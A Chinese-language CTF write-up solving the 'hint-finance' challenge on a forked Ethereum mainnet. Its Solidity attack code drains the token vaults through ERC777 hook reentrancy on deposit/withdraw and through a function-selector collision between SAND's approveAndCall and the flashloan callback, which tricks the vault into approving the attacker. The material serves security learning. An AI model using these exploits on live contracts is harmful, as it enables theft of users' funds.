hint-finance 分析 1.任务 这是一个主网的 fork,根据Etherscan可查询到三个underlyingTokens分别为:PNT,SAND,AMP。其中,PNT 和 AMP 都是 ERC777, SAND token 是一个 ERC20。
要求我们调用isSolved()
函数成功返回true,即我们需要拿走金库拥有的underlyingTokens余额的99%
1 2 3 4 5 address[3] public underlyingTokens = [ 0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD, 0x3845badAde8e6dFF049820680d1F14bD3903a5d0, 0xfF20817765cB7f73d4bde2e66e067E58D11095C2 ];
1 2 3 4 5 6 7 8 9 10 11 function isSolved() public view returns (bool) { for (uint256 i = 0; i < underlyingTokens.length; ++i) { // 每一个underlyingTokens对应一个金库地址 address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]); // 获取金库拥有的underlyingTokens余额 uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault); // 我们需要拿走金库拥有的underlyingTokens余额的99% if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) return false; } return true; }
2.全局观 一共三个合约
Setup.sol
部署题目,部署三个underlyingTokens,三个rewardTokens和创建三个金库,并且设置对应关系
HintFinanceFactory.sol
创建金库
金库和 underlyingTokens 对应关系
给金库增加 rewardToken
HintFinanceVault.sol
存款,借款,取款,闪电贷
rewardToken 的信息(比如利率,可取数目)会随着时间变化,有点线性释放的味道
题目的类型很典型:存入一定数量的underlyingTokens 到金库,他会给你一些金库份额,然后取款underlyingTokens 的时候会额外给你一些rewardToken(当然是根据一些规则给你)。并且还提供了闪电贷来借用金库持有的任何token。
3.详细分析 三个underlyingTokens 分别为ERC777和ERC20,ERC777非常容易出错,ERC20也是问题经常出现
3.1ERC777 发现漏洞 ERC777存在钩子函数:转账代币的时候会调用发送方的_callTokensToSend()
和接收方的_callTokensReceived()
进行回调。这样就类比call()
转账然后进入fallback()
重入。
当然ERC777需要到ERC1820进行钩子注册
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function _send( address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal { require(from != address(0), "ERC777: send from the zero address"); require(to != address(0), "ERC777: send to the zero address"); address operator = _msgSender(); _callTokensToSend(operator, from, to, amount, userData, operatorData); _move(operator, from, to, amount, userData, operatorData); _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); }
金库合约的存款和取款函数都没有重入保护,因此可以利用此钩子函数进行回调重入攻击
利用漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 // 存款,缺乏重入保护 function deposit(uint256 amount) external updateReward(msg.sender) returns (uint256) { uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this)); // 4. totalSupply会远大于bal,因为bal是金库拥有的数量,而totalSupply是全部人拥有的量, // 因为在withdraw的时候转给了攻击地址一大笔钱,但是totalSupply还没来得及更新,因此 // 下面式子中totalSupply和bal不变,计算出来的shares会比原来大很多. // PS:注意它这样计算shares是为了线性计算用户存入token之后可以得到的份额,然后根据份额在取款的时候给利息 uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal; // 5. 然后金库给攻击合约转 bal-1 的金额 // 注意此时的amount是(bal-1)/2,因此在调用钩子函数的时候并不会再次重入 ERC20Like(underlyingToken).transferFrom(msg.sender, address(this), amount); totalSupply += shares; // 6. 但是金库却给我们记录了大了好多倍的金额 balanceOf[msg.sender] += shares; return shares; } // 单个取款,缺乏重入保护 function withdraw(uint256 shares) external updateReward(msg.sender) returns (uint256) { // 1. 不用验证msg.sender是不是拥有shares这么多钱,因为不够的话会下溢,但0.8.0^会报错revert uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this)); // PS:这里的式子是计算我们的shares占总totalSupply的百分比,然后获取金库一定比例的金额 uint256 amount = shares * bal / totalSupply; // 2. 会给我们的攻击合约发送一大笔钱:bal-1 // 3. 然后进入到钩子函数,然后钩子函数又会调用到deposit() ERC20Like(underlyingToken).transfer(msg.sender, amount); // 7. 执行完钩子函数之后,我们将我们的余额减去bal-1,此时不会失败,因为我们的deposit()时给我们记录了好几倍的金额 totalSupply -= shares; // 8.最后减去一小部分shares balanceOf[msg.sender] -= shares; return amount; }
我们需要控制好回调函数的条件,什么时候重入什么时候停止重入。在这里,我们重入一次就好,重入一次就可以获得很大的shares。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // PNT的回调函数 function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData )external{ if (amount == prevAmount) { console.log(" balance(vault)-1:",amount); uint256 share = HintFinanceVault(vault).deposit(amount - 2); // 这样就不符合amount == prevAmount而再次重入了 console.log(" attack's share:",share); } } // AMP的回调函数 function tokensReceived( bytes4 functionSig, bytes32 partition, address operator, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData )external{ if (value == prevAmount) { console.log(" balance(vault)-1:",value); uint256 share = HintFinanceVault(vault).deposit(value - 2); // 这样就不符合amount == prevAmount而再次重入了 console.log(" attack's share:",share); } }
最终扣除一笔小的share,但授权很大数目的shares,然后我们可以使用正常的withdraw()
取钱即可
3.2ERC20 发现漏洞 针对 ERC20,有一种常见的攻击模式,即想办法使得 token 的 owner 给 hacker 进行 approve 操作,通常这是一种钓鱼手法,但是在很多支持 flashloan 的合约中,可以让合约来给我进行 approve。这样就可以在满足 flashloan 的前提下,即不直接拿走 vault 的 token,但是让其对 hacker 进行 approve 了。
所以本题的思路是:如何让 vault 合约作为 msg.sender, 调用 token 合约的 approve 方法。可以利用 flashloan 的 回调函数来实现,但是该 回调函数写死了,是onHintFinanceFlashloan()
,并不是一个可以任意传的值,即不是address(caller).call(data)
SAND合约没有实现onHintFinanceFlashloan()
,并且它的approve方法逻辑是正确的无可挑剔不可利用。但是认真找一下,它还存在这样一个父合约: ERC20BasicApproveExtension.sol,它有一个函数可以进行approve:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function approveAndCall( address target, uint256 amount, bytes calldata data ) external payable returns (bytes memory) { require( BytesUtil.doFirstParamEqualsAddress(data, msg.sender), "first param != sender" ); _approveFor(msg.sender, target, amount); // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(msg.value)(data); require(success, string(returnData)); return returnData; }
approveAndCall
函数也会让调用者向对应地址进行approve,还会根据传入的data去target地址中调用相应的函数。如果我们能让Vault合约调用这个函数或者approve函数,即可拿到权限。看起来好像并没有能让Vault调用这两个函数的方法,flashloan中唯一存在的一个外部函数调用就是他自己的回退函数_onHintFinanceFlashloan
。
函数选择器碰撞!但经过对比,发现approveAndCall
和onHintFinanceFlashloan
的函数选择器是相同的,也就是说,在flashloan()
函数中由于函数选择器相同的原因,可以调用到approveAndCall
函数,从而达到目的。也就是我们说的函数选择器碰撞
1 2 3 4 5 cast sig "approveAndCall(address,uint256,bytes)" # 0xcae9ca51 cast sig "onHintFinanceFlashloan(address,address,uint256,bool,bytes)" # 0xcae9ca51
利用漏洞 1.
针对 calldata 进行编码时,要由外到内,首先编码出 approveAndCall()
中传入的参数
token应该是SAND合约
第一个参数是vault代表要调用vault中的函数
第二个参数是amount代表要授权给msg.sender的金额
第三个参数是data代表要调用vault中的某个方法
1 SandLike(token).approveAndCall(vault, amount, data);
这个 data 是调用 flashloan()
的 calldata,即 data 要满足flashloan(address token, uint256 amount, bytes calldata data)
这个函数;则写成如下:
1 bytes memory data = abi.encodeWithSelector(HintFinanceVault.flashloan.selector, address(this), amount, innerData);
2.
然后,在来查看 innerData 的编码方式,他需要同时满足onHintFinanceFlashloan()
和approveAndCall()
两个函数;将两个函数的参数对齐如下:
approveAndCall()
onHintFinanceFlashloan()
偏移
address target
address token
0x20
uint256 amount
address factory
0x40
0xa0(要告诉方法跳到innerdata那里)
uint256 amount
0x60
0(对齐位置,补0即可)
bool isUnderlyingOrReward
0x80
bytes memory innerdata
bytes memory data
0xa0
因此,(第三行)这里的amount和factory就是授权给token 的金额,(第四行)而amount是要告诉方法跳到innerdata那里
3.
接下来我们要编码innerdata。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function approveAndCall( address target, uint256 amount, bytes calldata data ) external payable returns (bytes memory) { require( BytesUtil.doFirstParamEqualsAddress(data, msg.sender), "first param != sender" ); _approveFor(msg.sender, target, amount); // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(msg.value)(data); require(success, string(returnData)); return returnData; } function doFirstParamEqualsAddress(bytes memory data, address _address) internal pure returns (bool) { if (data.length < (36 + 32)) { return false; } uint256 value; assembly { value := mload(add(data, 36)) } return value == uint256(_address); }
根据代码我们可以得到:
data中的第一个参数必须是msg.sender,因为是金库调用的,因此第一个参数必须是金库的地址。
doFirstParamEqualsAddress()
要求参数的长度必须大于或等于68,也就是说我们的参数至少是两个
innerdata必须是一个可以执行的方法,而且必须执行成功,那么我们可以让它来执行一个静态方法比如balanceOf()
因此编码可以得到如下:
1 bytes memory innerData = abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
4.
为了闪电贷执行成功,需要攻击合约实现balanceOf()
和transfer(
)方法,因为闪电贷会执行token的这两个方法
1 2 3 4 5 6 7 8 9 10 11 function transfer(address, uint256) external returns (bool) { // 在闪电贷方法中有一行: ERC20Like(token).transfer(msg.sender, amount); // 因此攻击合约要实现这个方法进行伪装 return true; } function balanceOf(address) external view returns (uint256) { // 在闪电贷方法中有一行: ERC20Like(token).balanceOf(address(this)); // 因此攻击合约要实现这个方法进行伪装 return 0; }
5.授权成功后,就直接转账即可
1 2 3 SandLike(token).approveAndCall(vault, amount, data); // vault approve给本合约之后,我们就可以用transferFrom进行转账了 ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
3.3一些其他的限制 根据ERC777的规则,我们需要额外增加这些内容
1 2 3 4 5 6 7 8 // AMP合约中有一个这个东西:string internal constant AMP_TOKENS_RECIPIENT = "AmpTokensRecipient"; // 调用 ERC1820 注册表合约的 setInterfaceImplementer函数 注册AmpTokensRecipient接口实现(接口的实现是自身), // 这样在收到代币时,会回调 tokensReceived函数 EIP1820Like(EIP1820).setInterfaceImplementer(address(this), keccak256("AmpTokensRecipient"), address(this)); // PNT合约中有一个这个东西:bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // 调用 ERC1820 注册表合约的 setInterfaceImplementer函数 注册ERC777TokensRecipient接口实现(接口的实现是自身), // 这样在收到代币时,会回调 tokensReceived函数 EIP1820Like(EIP1820).setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
解题 见GitHub仓库
反思
本题考察了ERC777的钩子函数进行重入攻击和ERC20的approve钓鱼授权,我们需要了解EIP-1820和EIP-777的工作原理。做本题之前并不懂,然后现学。
题目fork了主网中的数据,因此本题有很强的现实应用性,没有比赛环境,一样可以根据区块高度来fork主网实现重现。需要懂得如何复现题目的环境,配置好题目之后再进行攻击,foundry非常牛!
函数选择器碰撞的题目还是头一次做,需要注意calldata的位置和编码要求,并且构造的时候需要满足各种条件的限制,比如本题中的doFirstParamEqualsAddress()
就偷偷要求至少得两个参数。
为了完成攻击,还要做各种的小操作来完成攻击,比如攻击合约要实现transfer()
和balanceOf()
(闪电贷要求)
总的来说,题目很棒,当然我是看别人的题解的,但还是受益匪浅了,最终也是完全理解的思路和攻击方法。还是那句话,得看很多积累攻击类型和经验